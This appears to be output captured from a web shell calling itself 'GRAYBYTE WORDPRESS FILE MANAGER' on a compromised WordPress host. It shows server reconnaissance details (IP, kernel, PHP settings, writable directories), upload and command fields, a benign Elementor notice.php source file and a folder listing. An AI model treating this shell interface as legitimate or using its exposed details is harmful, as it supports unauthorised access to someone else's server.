GRAYBYTE WORDPRESS FILE MANAGER8757

Server IP : 162.213.255.40 / Your IP : 216.73.216.149
System : Linux server146.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/hellrfbn/public_html/wp-content/updraft/plugins-old/elementor/includes/controls/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/hellrfbn/public_html/wp-content/updraft/plugins-old/elementor/includes/controls//notice.php
<?php
namespace Elementor;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Elementor Notice control.
 *
 * A base control specific for creating Notices in the Editor panels.
 *
 * @since 3.19.0
 */
class Control_Notice extends Base_UI_Control {

	/**
	 * Get notice control type.
	 *
	 * Retrieve the control type, in this case `notice`.
	 *
	 * @since 3.19.0
	 * @access public
	 *
	 * @return string Control type.
	 */
	public function get_type() {
		return 'notice';
	}

	/**
	 * Render notice control output in the editor.
	 *
	 * Used to generate the control HTML in the editor using Underscore JS
	 * template. The variables for the class are available using `data` JS
	 * object.
	 *
	 * @since 3.19.0
	 * @access public
	 */
	public function content_template() {
		?>
		<#
		if ( ! data.shouldRenderNotice ) {
			return;
		}

		const validNoticeTypes = [ 'info', 'success', 'warning', 'danger' ];
		const showIcon = validNoticeTypes.includes( data.notice_type );
		data.content = elementor.compileTemplate( data.content, { view } );
		#>
		<div class="elementor-control-notice elementor-control-notice-type-{{ data.notice_type }}">
			<# if ( showIcon && data.icon ) { #>
			<div class="elementor-control-notice-icon">
				<svg width="18" height="18" viewBox="0 0 18 18" fill="none" xmlns="http://www.w3.org/2000/svg">
					<path d="M2.25 9H3M9 2.25V3M15 9H15.75M4.2 4.2L4.725 4.725M13.8 4.2L13.275 4.725M7.27496 12.75H10.725M6.75 12C6.12035 11.5278 5.65525 10.8694 5.42057 10.1181C5.1859 9.36687 5.19355 8.56082 5.44244 7.81415C5.69133 7.06748 6.16884 6.41804 6.80734 5.95784C7.44583 5.49764 8.21294 5.25 9 5.25C9.78706 5.25 10.5542 5.49764 11.1927 5.95784C11.8312 6.41804 12.3087 7.06748 12.5576 7.81415C12.8065 8.56082 12.8141 9.36687 12.5794 10.1181C12.3448 10.8694 11.8796 11.5278 11.25 12C10.9572 12.2899 10.7367 12.6446 10.6064 13.0355C10.4761 13.4264 10.4397 13.8424 10.5 14.25C10.5 14.6478 10.342 15.0294 10.0607 15.3107C9.77936 15.592 9.39782 15.75 9 15.75C8.60218 15.75 8.22064 15.592 7.93934 15.3107C7.65804 15.0294 7.5 14.6478 7.5 14.25C7.56034 13.8424 7.52389 13.4264 7.3936 13.0355C7.2633 12.6446 7.04282 12.2899 6.75 12Z" stroke="currentColor" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
				</svg>
			</div>
			<# } #>
			<div class="elementor-control-notice-main">
				<# if ( data.heading ) { #>
				<div class="elementor-control-notice-main-heading">{{{ data.heading }}}</div>
				<# } #>
				<# if ( data.content ) { #>
				<div class="elementor-control-notice-main-content">{{{ data.content }}}</div>
				<# } #>
				<# if ( data.button_text || data.button_text2 ) { #>
				<div class="elementor-control-notice-main-actions">
					<# if ( data.button_text || data.button_event ) { #>
					<button type="button" class="e-btn e-{{{ data.notice_type }}} e-btn-1" data-event="{{{ data.button_event }}}">
						{{{ data.button_text }}}
					</button>
					<# } #>
					<# if ( data.button_text2 || data.button_event2 ) { #>
					<button type="button" class="e-btn e-{{{ data.notice_type }}} e-btn-2" data-event="{{{ data.button_event2 }}}">
						{{{ data.button_text2 }}}
					</button>
					<# } #>
				</div>
				<# } #>
			</div>
			<# if ( data.dismissible ) { #>
			<button class="elementor-control-notice-dismiss tooltip-target" data-tooltip="<?php echo esc_attr__( 'Don’t show again.', 'elementor' ); ?>">
				<i class="eicon eicon-close" aria-hidden="true"></i>
				<span class="elementor-screen-only"><?php echo esc_html__( 'Don’t show again.', 'elementor' ); ?></span>
			</button>
			<# } #>
		</div>
		<?php
	}

	/**
	 * Get notice control default settings.
	 *
	 * Retrieve the default settings of the notice control. Used to return the
	 * default settings while initializing the notice control.
	 *
	 * @since 3.19.0
	 * @access protected
	 *
	 * @return array Control default settings.
	 */
	protected function get_default_settings() {
		return [
			'notice_type' => '', // info, success, warning, danger
			'icon' => true,
			'dismissible' => false,
			'heading' => '',
			'content' => '',
			'button_text' => '',
			'button_event' => '',
			'button_text2' => '',
			'button_event2' => '',
		];
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 23 2025 07:38:27
hellrfbn / hellrfbn
0755
groups
--
July 23 2025 07:38:27
hellrfbn / hellrfbn
0755
.htaccess
0.41 KB
July 23 2025 07:38:27
hellrfbn / hellrfbn
0644
alert.php
1.795 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
animation.php
4.679 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
base-data.php
3.66 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
base-icon-font.php
0.613 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
base-multiple.php
2.03 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
base-ui.php
0.504 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
base-units.php
3.495 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
base.php
3.08 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
box-shadow.php
3.393 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
button.php
1.678 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
choose.php
2.214 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
code.php
1.99 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
color.php
2.035 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
date-time.php
2.036 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
deprecated-notice.php
2.273 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
dimensions.php
4.938 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
divider.php
0.81 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
exit-animation.php
2.458 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
font.php
2.216 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
gallery.php
5.224 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
gaps.php
1.619 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
heading.php
1.316 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
hidden.php
0.926 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
hover-animation.php
4.233 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
icon.php
31.325 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
icons.php
7.665 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
image-dimensions.php
3.708 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
media.php
12.777 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
notice.php
4.104 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
number.php
2.089 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
popover-toggle.php
2.664 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
raw-html.php
1.483 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
repeater.php
4.441 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
section.php
1.318 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
select.php
2.563 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
select2.php
2.716 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
slider.php
3.488 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
structure.php
2.462 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
switcher.php
2.076 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
tab.php
1.006 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
tabs.php
0.922 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
text-shadow.php
3.133 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
text.php
2.104 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
textarea.php
2.006 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
url.php
5.124 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
wp-widget.php
1.346 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644
wysiwyg.php
1.734 KB
June 28 2024 15:53:57
hellrfbn / hellrfbn
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF